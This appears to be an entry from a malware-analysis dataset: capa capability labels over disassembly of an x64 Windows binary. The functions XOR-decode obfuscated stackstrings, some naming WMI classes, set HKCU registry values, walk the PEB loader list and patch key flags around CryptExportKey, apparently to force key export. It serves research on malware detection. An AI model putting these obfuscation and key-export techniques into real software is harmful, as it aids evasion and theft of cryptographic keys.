joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001cd0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
movdqa xmm0, xmmword [0x1400144b0]
xor esi, esi
movdqa xmm1, xmmword [0x1400144c0]
mov qword [rbp + 0x28], rsi
movdqu xmmword [rbp - 0x30], xmm0
lea ebx, [rsi + 0x2a]
mov dword [rbp - 0x10], 0x6176617c
mov ecx, ebx
mov dword [rbp - 0xc], 0x7a725e4f
movdqu xmmword [rbp - 0x20], xmm1
mov word [rbp - 8], 0x137d
call fcn.14000257c
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
lea edi, [rsi + 1]
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140001d2d
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x38], rcx
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov rdx, rax
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001d7e
xor al, al
jmp 0x140001dfe
movdqa xmm0, xmmword [str.Wz_rq]
mov ebx, 0x19
mov ecx, ebx
mov dword [rbp + 0x20], edi
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x7c676066
mov dword [rbp - 0x1c], 0x76697a7e
mov byte [rbp - 0x18], 0x13
call fcn.14000257c
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140001db6
lea r9d, [rbx + 4]
xor r8d, r8d
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x28]
test eax, eax
movzx ebx, sil
cmove ebx, edi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001e14
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
movsxd rbx, r8d
mov rsi, rdx
mov r14, rcx
xor dil, dil
call fcn.140001cd0
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rbp + 0x27]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
and qword [rbp - 0x29], 0
lea rax, [rbp - 0x29]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r9, [0x1400157a8]
lea rcx, [0x1400157b8]
lea r8d, [rdx + 0x15]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140002041
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x11
mov r8d, ebx
mov r14, rax
xor edx, edx
mov eax, 0x2011
mov word [rbp + 0xf], ax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
and qword [rbp - 1], 0
lea rdx, [rbp - 1]
mov rcx, rax
mov qword [rbp + 0x17], rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov rcx, qword [rbp - 1]
mov r8, rbx
mov rdx, rsi
call fcn.1400024f8
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp + 0x27]
mov qword [rsp + 0x28], rdx
lea r9, [rbp + 0x27]
lea rdx, [rbp + 0xf]
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x27]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + 0x58]
test eax, eax
js 0x140002024
jmp 0x140001f11
cmp dword [rbp - 0x21], 4
je 0x140001f2b
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 0x21]
mov rax, qword [rcx]
call qword [rax + 0x1c0]
test eax, eax
jns 0x140001f0b
jmp 0x140002024
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 9]
and qword [rbp - 9], 0
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
js 0x140002024
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140002024
and qword [rbp + 7], 0
lea r8, [rbp + 7]
mov rax, qword [rcx]
lea rdx, [0x1400157c8]
call qword [rax]
test eax, eax
js 0x14000201a
mov rcx, qword [rbp + 7]
lea rdx, [rbp - 0x11]
and qword [rbp - 0x11], 0
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
js 0x14000201a
mov rcx, qword [rbp - 0x11]
lea rdx, [rbp - 0x19]
and qword [rbp - 0x19], 0
mov rax, qword [rcx]
call qword [rax + 0x1d0]
mov rbx, qword [rbp - 0x19]
lea rcx, [rbp + 0x7f]
call fcn.140001adc
mov rdx, rax
mov rcx, rbx
call fcn.1400079d8
test rax, rax
je 0x140002010
mov rcx, qword [rbp - 0x19]
lea rdx, str.id_data_
mov dil, 1
call fcn.1400079d8
test rax, rax
je 0x140002010
lea rdx, [0x14001446c]
mov rcx, rax
call fcn.1400079d8
lea rdx, [0x140014470]
lea rbx, [rax + 2]
mov rcx, rbx
call fcn.1400079d8
sub rax, rbx
sar rax, 1
cmp eax, 0x20
jle 0x140002010
mov edx, eax
mov rcx, rbx
call fcn.140001ba4
mov rcx, qword [rbp - 0x11]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 9]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x70]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea r11, [rsp + 0xa0]
mov al, dil
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400026f8
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x10
mov rbx, qword [rdi + 0x10]
jmp 0x140002735
mov rcx, qword [rbx + 0x60]
mov rdx, rsi
call fcn.1400078ec
test al, al
jne 0x140002750
mov rbx, qword [rbx + 0x10]
sub rbx, 0x10
cmp rbx, rdi
jne 0x140002721
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rbx
jmp 0x140002740
Function at 0x140002fb8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
and dword [rbp - 0x20], 0
mov rdi, r9
cmp qword [section..data], 0xffffffffffffffff
mov rbx, r8
jne 0x140003050
mov r14d, SafeArrayGetElement
mov dword [rbp - 0x18], 0x600061
mov dword [rbp - 0x14], 0x760072
mov dword [rbp - 0x10], 0x7b007d
mov dword [rbp - 0xc], 0x77003d
lea ecx, [r14 + 3]
mov dword [rbp - 8], 0x7f007f
mov word [rbp - 4], r14w
call fcn.14000257c
lea r9, [rbp - 0x18]
mov r8, rax
sub r9, rax
lea edx, [r14 - 8]
mov rcx, rax
movzx eax, word [r9 + rcx]
xor ax, r14w
mov word [rcx], ax
lea rcx, [rcx + 2]
sub rdx, 1
jne 0x14000302b
mov rcx, r8
call fcn.1400026f8
mov qword [section..data], rax
xor r9d, r9d
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
xor edx, edx
and qword [rsp + 0x20], 0
mov rcx, rbx
lea r14d, [r9 + 7]
mov r8d, r14d
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x1400030d4
mov rcx, qword [section..data]
test rcx, rcx
je 0x1400030d0
mov rdx, qword [rbx]
call fcn.1400026dc
test al, al
je 0x1400030d0
mov rax, qword [rbx + 0x58]
movabs rcx, 0xe35a172cd96214a0
xor rax, rcx
xor r9d, r9d
mov r8d, r14d
xor edx, edx
mov rcx, qword [rax]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
or qword [rcx + 0xc], 0x4001
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x1400030d4
xor al, al
jmp 0x1400030ea
mov ecx, dword [rbp - 0x20]
call fcn.1400024a8
mov rdx, qword [rbp + 0x30]
mov ecx, dword [rbp - 0x20]
mov qword [rdi], rax
mov al, 1
mov dword [rdx], ecx
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret

Function at 0x140003110
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ecx, 0x20
mov dword [rbp - 0x20], 0x7a0044
mov dword [rbp - 0x1c], 0x20007d
mov dword [rbp - 0x18], 0x4c0021
mov dword [rbp - 0x14], 0x610043
lea ebx, [rcx - 0xd]
mov dword [rbp - 0x10], 0x70007c
mov dword [rbp - 0xc], 0x600076
mov dword [rbp - 8], 0x7c0060
mov dword [rbp - 4], 0x130061
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003170
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140003190
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x610043
mov dword [rbp - 0x2c], 0x7e007a
mov dword [rbp - 0x28], 0x610072
mov dword [rbp - 0x24], 0x5c006a
lea ecx, [rbx + 0xf]
mov dword [rbp - 0x20], 0x7d0064
mov dword [rbp - 0x1c], 0x610076
mov dword [rbp - 0x18], 0x72005d
mov dword [rbp - 0x14], 0x76007e
mov word [rbp - 0x10], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400031f4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140003214
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x7c0061
mov dword [rbp - 0x2c], 0x67007c
mov dword [rbp - 0x28], 0x40004f
mov dword [rbp - 0x24], 0x700076
lea ecx, [rbx + 0x17]
mov dword [rbp - 0x20], 0x610066
mov dword [rbp - 0x1c], 0x67007a
mov dword [rbp - 0x18], 0x50006a
mov dword [rbp - 0x14], 0x7d0076
mov dword [rbp - 0x10], 0x760067
mov dword [rbp - 0xc], 0x210061
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 2]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003286
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400032a8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x7a0044
mov dword [rbp - 0x2c], 0x20007d
mov dword [rbp - 0x28], 0x4c0021
mov dword [rbp - 0x24], 0x63005c
lea ecx, [rbx + 0x19]
mov dword [rbp - 0x20], 0x610076
mov dword [rbp - 0x1c], 0x670072
mov dword [rbp - 0x18], 0x7d007a
mov dword [rbp - 0x14], 0x400074
mov dword [rbp - 0x10], 0x60006a
mov dword [rbp - 0xc], 0x760067
mov dword [rbp - 8], 0x13007e
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000331d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140003340
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x66005d
mov dword [rbp - 0x1c], 0x71007e
mov dword [rbp - 0x18], 0x610076
mov dword [rbp - 0x14], 0x75005c
lea ecx, [rbx + 9]
mov dword [rbp - 0x10], 0x7c0050
mov dword [rbp - 0xc], 0x760061
mov dword [rbp - 8], 0x130060
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003399
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x1400033bc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x40], 0x560040
mov dword [rbp - 0x3c], 0x56005f
mov dword [rbp - 0x38], 0x470050
mov dword [rbp - 0x34], 0x390033
lea ecx, [rbx + 0x29]
mov dword [rbp - 0x30], 0x550033
mov dword [rbp - 0x2c], 0x5c0041
mov dword [rbp - 0x28], 0x33005e
mov dword [rbp - 0x24], 0x7a0055
mov dword [rbp - 0x20], 0x760061
mov dword [rbp - 0x1c], 0x720064
mov dword [rbp - 0x18], 0x7f007f
mov dword [rbp - 0x14], 0x610043
mov dword [rbp - 0x10], 0x77007c
mov dword [rbp - 0xc], 0x700066
mov dword [rbp - 8], 0x130067
call fcn.14000257c
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xb]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000344d
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x140003470
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x72005e
mov dword [rbp - 0x1c], 0x66007d
mov dword [rbp - 0x18], 0x720075
mov dword [rbp - 0x14], 0x670070
lea ecx, [rbx + 7]
mov dword [rbp - 0x10], 0x610066
mov dword [rbp - 0xc], 0x610076
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 6]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400034c6
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400034e8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x760041
mov dword [rbp - 0x1c], 0x7a0074
mov dword [rbp - 0x18], 0x670060
mov dword [rbp - 0x14], 0x610076
lea ecx, [rbx + 0xb]
mov dword [rbp - 0x10], 0x770076
mov dword [rbp - 0xc], 0x600046
mov dword [rbp - 8], 0x610076
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003545
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140003568
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x40], 0x560040
mov dword [rbp - 0x3c], 0x56005f
mov dword [rbp - 0x38], 0x470050
mov dword [rbp - 0x34], 0x390033
lea ecx, [rbx + 0x25]
mov dword [rbp - 0x30], 0x550033
mov dword [rbp - 0x2c], 0x5c0041
mov dword [rbp - 0x28], 0x33005e
mov dword [rbp - 0x24], 0x7a0044
mov dword [rbp - 0x20], 0x20007d
mov dword [rbp - 0x1c], 0x4c0021
mov dword [rbp - 0x18], 0x610043
mov dword [rbp - 0x14], 0x77007c
mov dword [rbp - 0x10], 0x700066
mov dword [rbp - 0xc], 0x130067
call fcn.14000257c
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 9]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400035f2
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x140003614
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x40], 0x560040
mov dword [rbp - 0x3c], 0x56005f
mov dword [rbp - 0x38], 0x470050
mov dword [rbp - 0x34], 0x390033
lea ecx, [rbx + 0x29]
mov dword [rbp - 0x30], 0x550033
mov dword [rbp - 0x2c], 0x5c0041
mov dword [rbp - 0x28], 0x33005e
mov dword [rbp - 0x24], 0x7a0044
mov dword [rbp - 0x20], 0x20007d
mov dword [rbp - 0x1c], 0x4c0021
mov dword [rbp - 0x18], 0x610043
mov dword [rbp - 0x14], 0x70007c
mov dword [rbp - 0x10], 0x600076
mov dword [rbp - 0xc], 0x7c0060
mov dword [rbp - 8], 0x130061
call fcn.14000257c
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 0xb]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400036a5
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x1400036c8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x76005d
mov dword [rbp - 0x1c], 0x500067
mov dword [rbp - 0x18], 0x7d007c
mov dword [rbp - 0x14], 0x76007d
lea ecx, [rbx + 0xd]
mov dword [rbp - 0x10], 0x670070
mov dword [rbp - 0xc], 0x7c007a
mov dword [rbp - 8], 0x5a007d
mov dword [rbp - 4], 0x130057
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 3]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003728
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140003748
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x40005c
mov dword [rbp - 0x1c], 0x610043
mov dword [rbp - 0x18], 0x77007c
mov dword [rbp - 0x14], 0x700066
lea ecx, [rbx + 0xb]
mov dword [rbp - 0x10], 0x400067
mov dword [rbp - 0xc], 0x7a0066
mov dword [rbp - 8], 0x760067
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400037a5
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400037c8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x760040
mov dword [rbp - 0x1c], 0x7a0061
mov dword [rbp - 0x18], 0x7f0072
mov dword [rbp - 0x14], 0x66005d
lea ecx, [rbx + 7]
mov dword [rbp - 0x10], 0x71007e
mov dword [rbp - 0xc], 0x610076
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 6]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000381e
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003840
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x40], 0x360031
mov dword [rbp - 0x3c], 0x4c0060
mov dword [rbp - 0x38], 0x520051
mov dword [rbp - 0x34], 0x4c0057
lea ecx, [rbx + 0x21]
mov dword [rbp - 0x30], 0x4a0047
mov dword [rbp - 0x2c], 0x560043
mov dword [rbp - 0x28], 0x290031
mov dword [rbp - 0x24], 0x360031
mov dword [rbp - 0x20], 0x330077
mov dword [rbp - 0x1c], 0x2e0032
mov dword [rbp - 0x18], 0x360033
mov dword [rbp - 0x14], 0x310077
mov dword [rbp - 0x10], 0x130019
call fcn.14000257c
lea r9, [rbp - 0x40]
mov rdx, rax
sub r9, rax
lea r8d, [rbx + 7]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400038c3
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x1400038e4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x7a0044
mov dword [rbp - 0x1c], 0x20007d
mov dword [rbp - 0x18], 0x4c0021
mov dword [rbp - 0x14], 0x610043
lea ecx, [rbx + 9]
mov dword [rbp - 0x10], 0x77007c
mov dword [rbp - 0xc], 0x700066
mov dword [rbp - 8], 0x130067
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 5]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000393d
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x140003960
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x61005c
mov dword [rbp - 0x1c], 0x720074
mov dword [rbp - 0x18], 0x7a007d
mov dword [rbp - 0x14], 0x720069
lea ecx, [rbx + 7]
mov dword [rbp - 0x10], 0x7a0067
mov dword [rbp - 0xc], 0x7d007c
mov word [rbp - 8], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 6]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400039b6
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400039d8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x6b0056
mov dword [rbp - 0x1c], 0x700076
mov dword [rbp - 0x18], 0x670066
mov dword [rbp - 0x14], 0x710072
lea ecx, [rbx + 0xb]
mov dword [rbp - 0x10], 0x76007f
mov dword [rbp - 0xc], 0x720043
mov dword [rbp - 8], 0x7b0067
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003a35
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140003a58
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x30], 0x360031
mov dword [rbp - 0x2c], 0x4c0060
mov dword [rbp - 0x28], 0x410056
mov dword [rbp - 0x24], 0x5c0041
lea ecx, [rbx + 0x13]
mov dword [rbp - 0x20], 0x310041
mov dword [rbp - 0x1c], 0x310029
mov dword [rbp - 0x18], 0x230036
mov dword [rbp - 0x14], 0x4b002b
mov dword [rbp - 0x10], 0x190031
mov word [rbp - 0xc], bx
call fcn.14000257c
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, ebx
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003ac2
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140003ae4
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ebx, SafeArrayUnaccessData
mov dword [rbp - 0x20], 0x72005f
mov dword [rbp - 0x1c], 0x670060
mov dword [rbp - 0x18], 0x7c0051
mov dword [rbp - 0x14], 0x67007c
lea ecx, [rbx + 0xb]
mov dword [rbp - 0x10], 0x630046
mov dword [rbp - 0xc], 0x7a0047
mov dword [rbp - 8], 0x76007e
mov word [rbp - 4], bx
call fcn.14000257c
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
lea r8d, [rbx - 4]
movzx ecx, word [r9 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140003b41
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret